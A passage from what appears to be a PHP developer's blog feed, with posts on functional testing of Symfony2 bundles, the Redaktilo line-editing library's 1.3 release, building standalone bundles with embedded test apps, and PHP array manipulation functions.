<p>Once again let's test AcmeDemoBundle, this time the <a href="https://github.com/sensiolabs/SensioDistributionBundle/blob/master/Resources/skeleton/acme-demo-bundle/Acme/DemoBundle/Controller/DemoController.php">demo controller</a>:</p>

<pre><code class="php">&lt;?php

namespace Acme\DemoBundle\Tests\Controller;

use Symfony\Component\HttpFoundation\Request;

class DemoControllerTest extends \PHPUnit_Framework_TestCase
{
    private $app;

    protected function setUp()
    {
        $this-&gt;app = new \AppKernel('test', false);
        $this-&gt;app-&gt;boot();
    }

    public function testHomepage()
    {
        $request = new Request::create('/', 'GET');

        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertTrue($response-&gt;isSuccessful());
    }

    public function testItSaysHello()
    {
        $request = new Request('/hello/igor', 'GET');

        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertTrue($response-&gt;isSuccessful());
    }

    public function testItSendsEmail()
    {
        $request = new Request('/contact', 'POST', array(
            'email' =&gt; 'igor@example.com',
            'content' =&gt; 'Hello',
        ));

        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertTrue($response-&gt;isSuccessful());
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: The <code>boot</code> method makes the container available.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>We stripped Symfony2 to its bare minimum and as a result we are now able to
write functional tests without any effort.</p>

<p>I hope you enjoyed this article, please feel free to
<a href="https://twitter.com/epiloic">tweet me</a> for any comment and question.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Redaktilo 1.3]]></title>
            <link href="/2014/11/06/redaktilo-1-3.html"/>
            <updated>2014-11-06T00:00:00+00:00</updated>
            <id>/2014/11/06/redaktilo-1-3.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: <a href="https://github.com/gnugat/redaktilo">Redaktilo</a> is a library
  which wraps array manipulation to make it feel like using a text editor.</p>
</blockquote>

<p><a href="/2014/05/09/redaktilo.html">Six months ago</a>, I talked about a
<a href="https://github.com/gnugat/redaktilo">silly library</a> I was working on.</p>

<p>I've just released it's version 1.3, so I figured that maybe it's time to talk
about it as the mature and usefull project it has become.</p>

<h2 id="statistics">Statistics</h2>

<p>First, here's some meaningless figures:</p>

<ul>
<li>fisrt commit: at 08:06:46, on the 24th thursday of April 2014</li>
<li>number of releases: 36 (including 11 stable ones)</li>
<li>number of contributors: 3 (<a href="http://loickpiera.com/">Loick Piera</a>, <a href="http://wouterj.nl/">WouterJ</a> and myself)</li>
<li>lines of code (according to <a href="https://insight.sensiolabs.com/projects/fbe2d89f-f64d-45c2-a680-bbafac4b0d08/analyses/36">Insight, for version 1.3.0</a>): 1 183</li>
</ul>

<h2 id="history">History</h2>

<p>In my two previous pet projects (GnugatWizardBundle and Fossil), as well as in
professional projects, I've encountered the need to manipulate lines (from a
file or a static string).</p>

<p>I've done 3 different implementations, each less reusable than the other, so I
started to think that there was something to do here.</p>

<p>That's how <a href="https://github.com/gnugat/redaktilo">Redaktilo</a> is born!</p>

<h2 id="public-api">Public API</h2>

<p>My purpose was to create a single service which would be used as a text editor
("redaktilo" means "editor", in esperanto):</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

class Editor
{
    // Filesystem operations:
    public function open($filename, $force = false);
    public function save(File $file);

    // Line selection
    public function jumpAbove(Text $text, $pattern, $location = null);
    public function jumpBelow(Text $text, $pattern, $location = null);

    // Line detection
    public function hasAbove(Text $text, $pattern, $location = null);
    public function hasBelow(Text $text, $pattern, $location = null);

    // Line manipulations
    public function insertAbove(Text $text, $addition, $location = null);
    public function insertBelow(Text $text, $addition, $location = null);
    public function replace(Text $text, $replacement, $location = null);
    public function replaceAll(Text $text, $pattern, $replacement);
    public function remove(Text $text, $location = null);

    // You can execute custom commands!
    public function run($name, array $input);
}
</code></pre>

<p>This service is <strong>stateless</strong>, it manipulates the following model:</p>

<pre><code class="php">&lt;?php

namespace Gnugat\Redaktilo;

class Text
{
    public function getLines();
    public function setLines(array $lines);
    public function getLength();

    public function getLineBreak();
    public function setLineBreak($lineBreak);

    public function getCurrentLineNumber();
    public function setCurrentLineNumber($lineNumber);
    public function getLine($lineNumber = null);
    public function setLine($line, $lineNumber = null);
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: The <code>File</code> model extends <code>Text</code> and adds <code>filename</code> getter and
  setter.</p>
</blockquote>

<p>As you can see, everything is centered around a current line, but specifying
directly a line number is possible (that's the meaning of the <code>$location</code>
argument).</p>

<h2 id="facade-and-extension-points">Facade and extension points</h2>

<p>To be honest, <code>Editor</code> doesn't do anything, it just wraps some low level
services. Amongst those, we have:</p>

<ul>
<li><code>SearchEngine</code>: decides which <code>SearchStrategy</code> will be used</li>
<li><code>CommandInvoker</code>: executes a <code>Command</code></li>
</ul>

<p>Those two are actually here to provide extension points: if you need to look for
a line with something else than a regular expression, you can create your own
<code>SearchStrategy</code>, register it in <code>SearchEngine</code> and it will be available
directly from the <code>Editor</code>!</p>

<p>If the manipulations provided out of the box aren't sufficient, you can create
your own <code>Command</code>, register it in <code>CommandInvoker</code> and it will be available
directly from the <code>Editor</code>!</p>

<p>Commands rely on user input, which is why Loïck worked on <code>InputSanitizer</code> to
validate it. If the ones provided aren't enough, you can still create your own
implementations.</p>

<p>Finally, I'd like to highlight Wouter's work on the <code>EditorFatory</code> helper: it is
really cumbersome to instantiate manually <code>Editor</code>... But thanks to this
factory, you'll never have to do it by yourself!</p>

<blockquote>
  <p><strong>Note</strong>: Working on a <a href="http://symfony.com">Symfony2</a> project? You can use
  <a href="https://github.com/gnugat/redaktilo-bundle">RedaktiloBundle</a>, which also
  provides tags to register custom search strategies and commands.</p>
</blockquote>

<h2 id="what%27s-next%3F">What's next?</h2>

<p>Loïck is currently improving the library's exceptions for the version 1.4.</p>

<p>For version 1.5, two new methods will be added to <code>Text</code>:
<code>incrementCurrentLineNumber</code> and <code>decrementCurrentLineNumber</code>, to avoid the
following:</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\EditorFactory;

$editor = EditorFactory::createEditor();
$file = $editor-&gt;open('/tmp/monty-python.txt');

// Currently
$currentLineNumber = $file-&gt;getCurrentLineNumber();
$file-&gt;setCurrentLineNumber($currentLineNumber + 2);

// Soon...
$file-&gt;incrementCurrentLineNumber(2);
</code></pre>

<p>For the final version 1.6, a strong documentation of the deprecations will be
done, leading the way to version 2.0 where those will be removed (50% of the code
base will vanish!).</p>

<blockquote>
  <p><strong>Note</strong>: As I'm using Redaktilo everyday, I might discover new improvements
  to be done, leading the given version numbers above to change.</p>
</blockquote>

<h2 id="frequently-asked-questions">Frequently Asked Questions</h2>

<h3 id="is-it-a-gui-%2F-cli-tool%3F">Is it a GUI / CLI tool?</h3>

<p>A question I've been often asked, because describing Redaktilo as a text editor
might be a bit misleading. It is a library which <strong>feels like</strong> an editor, but
it is in no way an actual editor you might run.</p>

<p>Here's an example of what you might be doing currently without Redaktilo:</p>

<pre><code class="php">&lt;?php

$lines = file('/tmp/monty-python.txt');
$currentLineNumber = 42;
$section = array_slice($lines, 0, $current, true); // Lines from 0 to 42
$reversedSection = array_reverse($section, true);
$found = preg_grep('/a knewt/', $reversedSection); // finding the first occurence, above line 42
$currentLineNumber = key($found);

array_splice($lines, $currentLineNumber + 1, 0, 'new line below "a knewt"');
$content = implode("\n", $lines); // Let's hope it wasn't a file created on Windows.
file_put_contents($content, '/tmp/monty-python');
</code></pre>

<p>With redaktilo:</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\EditorFactory;

$editor = EditorFactory::createEditor();
$file = $editor-&gt;open('/tmp/monty-python');
$editor-&gt;jumpAbove($file, '/a knewt/', 42);
$editor-&gt;insertBelow($file, 'new line below "a knewt"');
$editor-&gt;save($file);
</code></pre>

<h3 id="is-it-a-code-editor%3F">Is it a code editor?</h3>

<p>Because the code example on the README is about inserting a new line in the
<code>AppKernel</code> file of a Symfony2 application, I also get this question.</p>

<p>Redaktilo can edit any text file, so it includes source files. But keep in mind
that it only manipulates lines, when you might want to manipulate an AST to edit
code.</p>

<p>I'm working on a new silly project: <a href="https://github.com/gnugat/medio">Medio</a>.
It heavily relies on Redaktilo to actually edit code: so you can make a code
editor with it, but again before you start ask yourself if an AST wouldn't be
better.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Redaktilo is a library which makes line manipulation dead easy! It provides
extension points and will soon reach version 2 which will mark its final
maturity point.</p>

<p>Until then, you can still use it safely, it's been stable for 11 releases now.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony2 Bundle, standalone]]></title>
            <link href="/2014/10/29/sf2-bundle-standalone.html"/>
            <updated>2014-10-29T00:00:00+00:00</updated>
            <id>/2014/10/29/sf2-bundle-standalone.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Create an empty application in your bundle to allow people to test
  it (manually or automatically) outside of an actual application.</p>
</blockquote>

<p><a href="http://symfony.com">Symfony2</a> bundles are a great way to:</p>

<ul>
<li>configure the application's Dependency Injection Container (DIC)</li>
<li>provide it with resources (mainly templates and assets)</li>
<li>register entry points (like controllers and commands)</li>
</ul>

<p>In this article, we will see how to make sure a third party bundle actually work
by creating an embed application. We will then have a look at its practical use:</p>

<ol>
<li><a href="#minimal-bundle">Minimal Bundle</a></li>
<li><a href="#embed-application">Embed Application</a></li>
<li><a href="#manual-tests">Manual tests</a>

<ul>
<li><a href="#running-commands">Running commands</a></li>
<li><a href="#browsing-pages">Browsing pages</a></li>
</ul></li>
<li><a href="#automated-tests">Automated tests</a>

<ul>
<li><a href="#container-tests">Container tests</a></li>
<li><a href="#functional-cli-tests">Functional CLI tests</a></li>
<li><a href="#functional-web-tests">Functional web tests</a></li>
</ul></li>
<li><a href="#conclusion">Conclusion</a></li>
</ol>

<h2 id="minimal-bundle">Minimal Bundle</h2>

<p>Creating a bundle is fairly easy as you just need to create the following class:</p>

<pre><code class="php">&lt;?php
// File: AcmeStandaloneBundle.php

namespace Acme\StandaloneBundle;

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\HttpKernel\Bundle\Bundle;

class AcmeStandaloneBundle extends Bundle
{
}
</code></pre>

<p>It also needs a <code>composer.json</code> file, so it can be distributed all around the
world:</p>

<pre><code class="json">{
    "name": "acme/standalone-bundle",
    "type": "symfony-bundle",
    "license": "MIT",
    "autoload": {
        "psr-4": {
            "Acme\\StandaloneBundle\\": ""
        }
    },
    "require": {
        "symfony/http-kernel": "~2.3"
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: to release it, you would then need to create a git repository and
  to register it in <a href="https://packagist.org/">Packagist</a>.</p>
</blockquote>

<h2 id="embed-application">Embed Application</h2>

<p>Now how can we make sure our bundle would work in an application? We could:</p>

<ol>
<li>use an existing application</li>
<li>make the bundle's sources available in it somehow:

<ul>
<li>creating the bundle in the application</li>
<li>or making a symbolic link that points to the bundle</li>
</ul></li>
<li>register it in its <code>app/AppKernel.php</code> file and have a look...</li>
</ol>

<p>But we can do better!</p>

<p>We can create the smallest Symfony2 application ever <strong>inside</strong> our bundle:</p>

<pre><code class="php">&lt;?php
// File: Tests/app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Acme\StandaloneBundle\AcmeStandaloneBundle(),
        );
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load(__DIR__.'/config.yml');
    }
}
</code></pre>

<p><a href="https://github.com/symfony/FrameworkBundle">FrameworkBundle</a> requires the
following configuration parameter in order to work:</p>

<pre><code class="yaml"># File: Tests/app/config.yml
framework:
    secret: "Three can keep a secret, if two of them are dead."
</code></pre>

<p>I'd also advise you to create an autoload file to make things easier:</p>

<pre><code class="php">&lt;?php
// File: Tests/app/autoload.php

$loader = require __DIR__.'/../../vendor/autoload.php';
require __DIR__.'/AppKernel.php';
</code></pre>

<p>The last step is to add the new dependency in the <code>composer.json</code> file:</p>

<pre><code class="json">{
    "name": "acme/standalone-bundle",
    "type": "symfony-bundle",
    "license": "MIT",
    "autoload": {
        "psr-4": {
            "Acme\\StandaloneBundle\\": ""
        }
    },
    "require": {
        "symfony/http-kernel": "~2.3"
    },
    "require-dev": {
        "symfony/framework-bundle": "~2.3"
    }
}
</code></pre>

<p>We would also need to ignore the following directories:</p>

<pre><code># File: .gitignore

/Tests/app/cache
/Tests/app/logs
</code></pre>

<p>And that's it, we now have a minimalistic embed application in our bundle.
As it can now be ran on its own, it has become a <strong>Standalone Bundle</strong>!</p>

<p>Let's see the practical use.</p>

<h2 id="manual-tests">Manual tests</h2>

<p>Because your bundle now doesn't need any existing applications to be used,
people will be able to test it manually and do some demonstrations with it.</p>

<h3 id="running-commands">Running commands</h3>

<p>Let's pretend we created a command in our bundle. We'd like to run it just to
make sure everything works as expected. For this we'll need to create an
embed console:</p>

<pre><code class="php">&lt;?php
// File: Tests/app/console.php

set_time_limit(0);

require_once __DIR__.'/autoload.php';

use Symfony\Bundle\FrameworkBundle\Console\Application;

$kernel = new AppKernel('dev', true);
$application = new Application($kernel);
$application-&gt;run();
</code></pre>

<p>That's it! You can now run:</p>

<pre><code>php Tests/app/console.php
</code></pre>

<h3 id="browsing-pages">Browsing pages</h3>

<p>Let's pretend we created a controller which returns some JSON data. We'd like to
browse it just to make sure everyting works as expected. For this, we'll need to
create an embed web app:</p>

<pre><code class="php">&lt;?php
// File: Tests/app/web.php

use Symfony\Component\HttpFoundation\Request;

require_once __DIR__.'/autoload.php';

$kernel = new AppKernel('prod', false);
$request = Request::createFromGlobals();
$response = $kernel-&gt;handle($request);
$response-&gt;send();
</code></pre>

<p>That's it! You can now run:</p>

<pre><code>php Tests/app/console.php server:run -d Tests/app
</code></pre>

<p>And browse your application.</p>

<blockquote>
  <p><strong>Note</strong>: If you use a templating engine like Twig to render HTML pages,
  or if you use the Symfony2 Form Component in your bundle, don't forget to add
  the dependencies to your <code>composer.json</code> file and to register the appropriate
  bundles to the embed <code>AppKernel</code>.</p>
</blockquote>

<h2 id="automated-tests">Automated tests</h2>

<p>Manual tests are great to get a quick idea of what your bundle does.
But an embed application is also great to write automated tests.</p>

<h3 id="container-tests">Container tests</h3>

<p>Let's pretend we created a service which is defined in the DIC. We'd like to
make sure it is properly configured (for e.g. checking if we forgot to inject a
dependency). For this, we'll need to created a simple test:</p>

<pre><code class="php">&lt;?php
// File: Tests/ServiceTest.php

namespace Acme\StandaloneBundle\Tests;

class ServiceTest extends \PHPUnit_Framework_TestCase
{
    private $container;

    protected function setUp()
    {
        $kernel = new \AppKernel('test', true);
        $kernel-&gt;boot();

        $this-&gt;container = $kernel-&gt;getContainer();
    }

    public function testServiceIsDefinedInContainer()
    {
        $service = $this-&gt;container-&gt;get('acme_standalone.service');

        $this-&gt;assertInstanceOf('Acme\StandaloneBundle\Service', $service);
    }
}
</code></pre>

<p>We need to add <a href="https://phpunit.de/">PHPUnit</a> as a development dependency:</p>

<pre><code class="json">{
    "name": "acme/standalone-bundle",
    "type": "symfony-bundle",
    "license": "MIT",
    "autoload": {
        "psr-4": {
            "Acme\\StandaloneBundle\\": ""
        }
    },
    "require": {
        "symfony/http-kernel": "~2.3"
    },
    "require-dev": {
        "symfony/framework-bundle": "~2.3",
        "phpunit/phpunit": "~4.3"
    }
}
</code></pre>

<p>Finally we need to configure PHPUnit to use our autoload:</p>

<pre><code class="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;

&lt;!-- http://phpunit.de/manual/4.3/en/appendixes.configuration.html --&gt;
&lt;phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="http://schema.phpunit.de/4.3/phpunit.xsd"
    backupGlobals="false"
    colors="true"
    bootstrap="./Tests/app/autoload.php"
&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="Test Suite"&gt;
            &lt;directory&gt;./Tests/&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<p>That's it! You can now run:</p>

<pre><code>./vendor/bin/phpunit
</code></pre>

<blockquote>
  <p><strong>Note</strong>: You can of course use any testing framework of your choice.</p>
</blockquote>

<h3 id="functional-cli-tests">Functional CLI tests</h3>

<p>Let's pretend we created a command. We'd like to run it automatically and check
its exit code to make sure it works. For this, we'll need to created a simple
test:</p>

<pre><code class="php">&lt;?php
// File: Tests/ServiceTest.php

namespace Acme\StandaloneBundle\Tests\Command;

use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\Console\Input\ArrayInput;
use Symfony\Component\Console\Output\NullOutput;

class DemoCommandTest extends \PHPUnit_Framework_TestCase
{
    private $application;

    protected function setUp()
    {
        $kernel = new AppKernel('dev', true);
        $this-&gt;application = new Application($kernel);
    }

    public function testItRunsSuccessfully()
    {
        $output = new NullOutput();
        $input = new ArrayInput(
            'command_name' =&gt; 'acme:demo',
            'argument' =&gt; 'value',
            '--option' =&gt; 'value',
        );
        $exitCode = $this-&gt;application-&gt;run($input, $output);

        $this-&gt;assertSame(0, $exitCode);
    }
}
</code></pre>

<p>And that's it!</p>

<h3 id="functional-web-tests">Functional web tests</h3>

<p>Let's pretend we created a controller which returns some JSON data. We'd like to
browse it automatically and check its status code to make sure it works. For
this, we'll need to created a simple test:</p>

<pre><code class="php">&lt;?php
// File: Tests/ServiceTest.php

namespace Acme\StandaloneBundle\Tests\Controller;

use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\Console\Input\ArrayInput;
use Symfony\Component\Console\Output\NullOutput;

class DemoControllerTest extends \PHPUnit_Framework_TestCase
{
    private $client;

    protected function setUp()
    {
        $kernel = new AppKernel('test', true);
        $kernel-&gt;boot();

        $this-&gt;client = $kernel-&gt;getContainer()-&gt;get('test.client');
    }

    public function testItRunsSuccessfully()
    {
        $headers = array('CONTENT_TYPE' =&gt; 'application/json');
        $content = array('parameter' =&gt; 'value');
        $response = $this-&gt;client-&gt;request(
            'POST',
            '/demo',
            array(),
            array(),
            $headers,
            $content
        );

        $this-&gt;assertTrue($response-&gt;isSuccessful());
    }
}
</code></pre>

<p>The <code>test.client</code> service is only available when the <code>test</code> configuration
parameter is set.</p>

<pre><code class="yaml"># File: Tests/app/config.yml
framework:
    secret: "Three can keep a secret, if two of them are dead."
    test: ~
</code></pre>

<p>And that's it!</p>

<blockquote>
  <p><strong>Note</strong>: When creating APIs, you might want to test the precise status code.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>Creating an embed application in a third party bundle is fairly easy and brings
many advantages as it enables demonstrations and simple automated tests.</p>

<p>I hope you enjoyed this article, if you have any questions or comments, please
<a href="https://twitter.com/epiloic">let me know</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PHP array manipulation]]></title>
            <link href="/2014/10/15/php-array-manipulation.html"/>
            <updated>2014-10-15T00:00:00+01:00</updated>
            <id>/2014/10/15/php-array-manipulation.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: <a href="https://github.com/gnugat/redaktilo">Redaktilo</a> provides a nice
  API to manipulate array of lines (insert, replace, go to line, etc).</p>
</blockquote>

<p>Arrays are surely one of the most used PHP functionality: they're simple,
convenient and benefit from a large set of standard functions to manipulate them.</p>

<p>Let's see the different possibilities:</p>

<ul>
<li><a href="#finding-an-element">Finding an element</a></li>
<li><a href="#finding-an-element-relatively-to-a-given-index">Finding an element relatively to a given index</a></li>
<li><a href="#inserting-a-new-element">Inserting a new element</a></li>
<li><a href="#removing-an-element">Removing an element</a></li>
<li><a href="#retrieving-elements-from-a-file">Retrieving elements from a file</a></li>
<li><a href="#saving-changes-in-a-file">Saving changes in a file</a></li>
<li><a href="#there-is-a-better-way">There is a better way</a>

<ul>
<li><a href="#retrieving-a-line">Retrieving a line</a></li>
<li><a href="#finding-an-element-relatively-to-a-given-line-number">Finding an element relatively to a given line number</a></li>
<li><a href="#inserting-a-new-line">Inserting a new line</a></li>
<li><a href="#using-text">Using Text</a></li>
<li><a href="#cheat-sheet">Cheat Sheet</a>

<ul>
<li><a href="#editor">Editor</a></li>
<li><a href="#text">Text</a></li>
<li><a href="#file">File</a></li>
</ul></li>
</ul></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="finding-an-element">Finding an element</h2>

<p>In order to find the index of a string in an array, we can use one of the
following functions:</p>

<pre><code class="php">&lt;?php

$montyPython = array(
    'This is a dead parrot',
    'No, no, it\'s not dead, it\'s resting!',
);

$exactSentence = 'This is a dead parrot';
array_search($exactSentence, $montyPython, true); // Returns 0
$regex = '/resting!$/';
$found = preg_grep($regex, $montyPython);
key($found); // Returns 1
</code></pre>

<blockquote>
  <p><strong>Note</strong>: The third parameter of <a href="http://php.net/array_search"><code>array_search</code></a>
  enables the strict comparison (it makes sure the types are also the same).</p>
</blockquote>

<p>We can find the matching elements of a pattern using
<a href="http://php.net/preg_grep"><code>preg_grep</code></a>. To get the index of the first result
found, we can use <a href="http://php.net/key"><code>key</code></a>.</p>

<h2 id="finding-an-element-relatively-to-a-given-index">Finding an element relatively to a given index</h2>

<p>It's great! Now what if we want to remember the index and then make a search
relatively to it? For example we want to find the index of the element
<code>/a knewt/</code>, but only in the elements above <code>... I got better...</code>:</p>

<pre><code class="php">&lt;?php

$holyGrail = array(
    'She turned me into a knewt!',
    'A knewt?',
    '... I got better...',
    'A WITCH!',
);

$index = array_search('... I got better...', $holyGrail, true);
$section = array_slice($holyGrail, 0, $index, true);
$reversedSection = array_reverse($section, true);
$found = preg_grep('/a knewt/', $reversedSection);
key($found); // Returns 0
</code></pre>

<p>In this code snippet, we get a subset of the array
(from the first element to <code>... I got better</code>) using
<a href="http://php.net/array_slice"><code>array_slice</code></a> (the last argument allows to keep
the indexes unchanged). This also excludes <code>... I got better...</code>.</p>

<p>Then we change the order of the elements using
<a href="http://php.net/array_reverse"><code>array_reverse</code></a> (the second argument allows to
keep the index unchanged) so the element above <code>... I got better...</code> would be
the first result.</p>

<p>Finally we look for <code>/a knewt/</code> as we did previously.</p>

<h2 id="inserting-a-new-element">Inserting a new element</h2>

<p>If we want to insert a new element after a given index in the array, we need to
use <a href="http://php.net/array_splice"><code>array_splice</code></a>:</p>

<pre><code class="php">&lt;?php

$grandPiano = array(
    'I would like to learn how to fly an aeroplane',
    'A what?',
    'An aeroplane',
    'OH! An aeroplane, oh I say we are grand aren\'t we?',
    'Pardon me while I\'m flying me aeroplane... NOW GET ON THE TABLE!',
);

$found = preg_grep('/grand/', $grandPiano);
$index = key($found);
array_splice($grandPiano, $index + 1, 0, 'No more cluttered cream for me, butler, I\'m off to play the grand piano');
</code></pre>

<p>Actually <code>array_splice</code> allows to replace a subsection of an array, here's the
explanation of its arguments:</p>

<ol>
<li>the array to manipulate</li>
<li>the starting index</li>
<li>the ending index (<code>0</code> means replacing nothing, therefore just inserting)</li>
<li>the replacement (in our case the element to insert)</li>
</ol>

<p>It's not very explicit, but we have a solution for this (keep reading to find
out).</p>

<h2 id="removing-an-element">Removing an element</h2>

<p>Here's an easy one:</p>

<pre><code class="php">&lt;?php

$parrot = array(
    'Hello, I would like to make a complain. Hello, miss?',
    'What do you mean miss?',
    'Sorry, I have a cold',
);

$index = array_search('Sorry, I have a cold', $parrot, true);
unset($parrot[$index]);
</code></pre>

<p>You might want to reorder the indexes, to avoid gaps:</p>

<pre><code class="php">&lt;?php

$parrot = array(
    'Hello, I would like to make a complain. Hello, miss?',
    'What do you mean miss?',
    'Sorry, I have a cold',
);

$index = array_search('What do you mean miss?', $parrot, true);
unset($parrot[$index]);
// Current value:
// $parrot = array(
//     0 =&gt; 'Hello, I would like to make a complain. Hello, miss?',
//     2 =&gt; 'Sorry, I have a cold',
// );

$parrot = array_values($parrot);
// Current value:
// $parrot = array(
//     0 =&gt; 'Hello, I would like to make a complain. Hello, miss?',
//     1 =&gt; 'Sorry, I have a cold',
// );
</code></pre>

<p>The <a href="http://php.net/array_values"><code>array_values</code></a> function is equivalent to:</p>

<pre><code class="php">$newArray = array();
foreach ($oldArray as $element) {
    $newArray[] = $element;
}
</code></pre>

<h2 id="retrieving-elements-from-a-file">Retrieving elements from a file</h2>

<p>Until now, we've been using a hard coded array, but this is rarely what we
encounter in real life project. The data could for example come from a file,
which can be transformed into an array of lines:</p>

<pre><code class="php">&lt;?php

$file = file('/tmp/holy-grail.text', FILE_IGNORE_NEW_LINES);
</code></pre>

<blockquote>
  <p><strong>Note</strong>: the second argument will remove the trailing line breaks.</p>
</blockquote>

<p>The only problem with <a href="http://php.net/file"><code>file</code></a> is that it will remove the
last line if it's empty. Let's use another function:</p>

<pre><code class="php">&lt;?php

$content = file_get_contents('/tmp/holy-grail.txt');
$lines = explode("\n", $content);
</code></pre>

<p>The <a href="http://php.net/file_get_contents"><code>file_get_contents</code></a> function returns the
content as a string.</p>

<p>We used <a href="http://php.net/explode"><code>explode</code></a> to split it into an array of lines.</p>

<p>This assumes that the file hasn't been created on Windows (where the line
separator is <code>\r\n</code>)... We need to detect the line break:</p>

<pre><code class="php">&lt;?php

$content = @file_get_contents('/tmp/holy-grail.txt');
$lineBreak = "\n"; // Used by every systems (except Windows), so used as default
if (false === strpos($content, "\n")) { // No line break detected at all
    $lineBreak = PHP_EOL; // Using the system's one
}
if (false !== strpos($content, "\r\n")) { // Windows line break detected
    $lineBreak = "\r\n";
}
$lines = explode($lineBreak, $content);
</code></pre>

<blockquote>
  <p><strong>Note</strong>: There's many check to be done before actually reading the file
  (does the file actually exists? Do we have the permission to read it?).
  We have a solution for this (keep reading to find out).</p>
</blockquote>

<h2 id="saving-changes-in-a-file">Saving changes in a file</h2>

<p>If we do any changes to those lines, we might want to save them on the
filesystem:</p>

<pre><code class="php">&lt;?php

$lines = array(
    'Morning, morning, morning',
    'Morning Jim, Morning Jack',
    'Can\'t complain, keep coming back',
    'Boring, boring, boring',
);
$lineBreak = "\n"; // Or whatever has been detected
$content = implode($lineBreak, $lines);
file_put_contents('/tmp/silly-walk-song.txt', $content);
</code></pre>

<p>To convert back the array of lines to a string content, we use
<a href="http://php.net/implode"><code>implode</code></a>.</p>

<p>To write the content in the file, we use
<a href="http://php.net/file_put_contents"><code>file_put_contents</code></a>.</p>

<blockquote>
  <p><strong>Note</strong>: There's many check to be done before actually writing in a file
  (does the path actually exists? Do we have the permissions? What happens if
  the writing process fails during the execution?). To solve this, use the
  Symfony2 Filesystem Component (<code>Filesystem#dumpFile()</code>).</p>
</blockquote>

<h2 id="there-is-a-better-way">There is a better way</h2>

<p>You don't find <code>array_splice</code> very explicit for element insertion (or can't find
a way to remember its argument order/meaning)?</p>

<p>Keeping the elements, the index, the line break in separates variables looks too
procedural for you?</p>

<p>And what about error management?</p>

<p>Don't panic! There is a better way: <a href="https://github.com/gnugat/redaktilo">Redaktilo</a>
(it means "Editor" in esperanto).</p>

<p>This small library makes array manipulation easier by providing:</p>

<ul>
<li>an <code>Editor</code> object (open, save, find, insert, etc)</li>
<li>a <code>Text</code> object (line break, elements, current index, etc)</li>
<li>a <code>File</code> object (same as <code>Text</code>, but with filename)</li>
</ul>

<p>Use it in your projects, thanks to <a href="http://getcomposer.org">Composer</a>:</p>

<pre><code>composer require 'gnugat/redaktilo:~1.1'
</code></pre>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\EditorFactory;

$editor = EditorFactory::createEditor();
</code></pre>

<blockquote>
  <p><strong>Note</strong>: In order to make operations more explicit, Redaktilo has adopted the
  vocabulary of file edition (more specifically manipulation of lines). But in
  the end it's still array manipulation.</p>
</blockquote>

<h3 id="retrieving-a-line">Retrieving a line</h3>

<p>You don't have to worry about file checking and line break detection anymore:</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\EditorFactory;

$editor = EditorFactory::createEditor();
$file = $editor-&gt;open('/tmp/silly-walk-song.txt');
$file-&gt;getLineBreak(); // Returns "\n" if the file hasn't been created on Windows
</code></pre>

<h3 id="finding-an-element-relatively-to-a-given-line-number">Finding an element relatively to a given line number</h3>

<p>Redaktilo takes care of the search strategy for you (it uses <code>preg_grep</code> when
you give a valid regular expression, and <code>array_search</code> when you give a string).</p>

<p>It supports search relative to the current line number stored in the given
<code>Text</code> and <code>File</code> (it uses <code>array_slice</code>, <code>array_reverse</code> and <code>key</code> internally).</p>

<p>The <code>hasAbove</code> and <code>hasBelow</code> methods just return a boolean, while the
<code>jumpAbove</code> and <code>jumpBelow</code> methods rather store the found line number in the
given <code>Text</code> and <code>File</code> (and raise an exception if nothing is found):</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

use Gnugat\Redaktilo\EditorFactory;

$editor = EditorFactory::createEditor();
$file = $editor-&gt;open('/tmp/silly-walk-song.txt');

$editor-&gt;jumpBelow($file, 'Boring, boring, boring');
$file-&gt;getCurrentLineNumber(); // Returns 3

$editor-&gt;hasAbove($file, '/morning,/'); // Returns true
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <code>hasAbove</code>, <code>hasBelow</code>, <code>jumpAbove</code> and <code>jumpBelow</code> all have a third
  argument which is a line number. If provided, the search will be done
  relatively to this line number, rather than to the current one.</p>
  
  <p>For example, checking the presence of a pattern in the whole file can be done
  as: <code>$editor-&gt;hasBelow($file, $pattern, 0); // starts the search from the top of the file</code>.</p>
</blockquote>

<h3 id="inserting-a-new-line">Inserting a new line</h3>

